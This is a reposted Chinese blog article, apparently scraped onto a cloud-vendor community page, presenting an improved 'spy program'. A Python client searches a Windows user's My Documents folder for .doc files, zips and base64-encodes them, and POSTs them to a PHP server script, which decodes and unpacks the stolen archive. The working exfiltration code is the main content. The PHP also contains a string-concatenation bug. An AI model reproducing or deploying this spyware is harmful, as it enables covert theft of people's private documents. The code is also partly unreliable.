python 間諜程式傳輸檔案改進版 PHP作服務端

來源:互聯網
上載者:User

上一篇 

<?phpfunction unzip_file($file, $destination){ //php.ini 中 的extension=php_zip.dll 要解注釋$zip = new ZipArchive() ; if ($zip->open($file) !== TRUE) { die ('Could not open archive'); }  $zip->extractTo($destination); $zip->close(); echo 'ok'."<br/>"; } $path = iconv("UTF-8","gb2312","C:\\Documents and Settings\\Administrator\\案頭");$filename = $path +"\\out.zip";echo $filename."<br/>";$fp = fopen($filename,"wb");$encode_data = file_get_contents("php://input");$decode_data = base64_decode($encode_data);fwrite($fp,$decode_data);unzip_file($filename,$path);echo "finished!"."<br/>"?>

client.py

# -*- coding: cp936 -*-import socketimport win32com.clientimport win32apiimport osimport timeimport zipfileimport codecsimport base64import urllib2,urllib,httplibdef walk_dir(dir,filelist,extName,topdown=True):    for root, dirs, files in os.walk(dir, topdown):        for name in files:            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                filelist.append(os.path.join(root,name))               for name in dirs:            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                filelist.append(os.path.join(root,name))def post_data(data,HOST,PORT):    conn = httplib.HTTPConnection(HOST,PORT)    conn.request('POST','/server.php',data,{})    response = conn.getresponse()    resdata = response.read()    print response    def main():            HOST = '127.0.0.1'    PORT = 80    BUF_SIZE = 65535    key = 'ouyang'    dicName = "C:\Documents and Settings\Administrator\我的文件"    extName = '.doc'    #遍曆搜尋我的文件的doc類型    try:        filelist = []        walk_dir(dicName,filelist,extName)    except IOError,e:        print "檔案處理錯誤: " % e        sys.exit(-1)       #壓縮成zip檔案    zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)    for f in filelist:        zfile.write(f)    zfile.close()        #base 2進位 加密 encode(infile,outfile)    infile = open('in.zip','rb')    tmpfile = open('in.tmp','wb')    base64.encode(infile,tmpfile)    infile.close()    tmpfile.close()        #send    tmpfile = open('in.tmp','rb')    post_data(tmpfile.read(),HOST,PORT)    tmpfile.close()        #後續處理 刪除中間檔案    os.remove('in.tmp')        if __name__=='__main__':    main()



相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.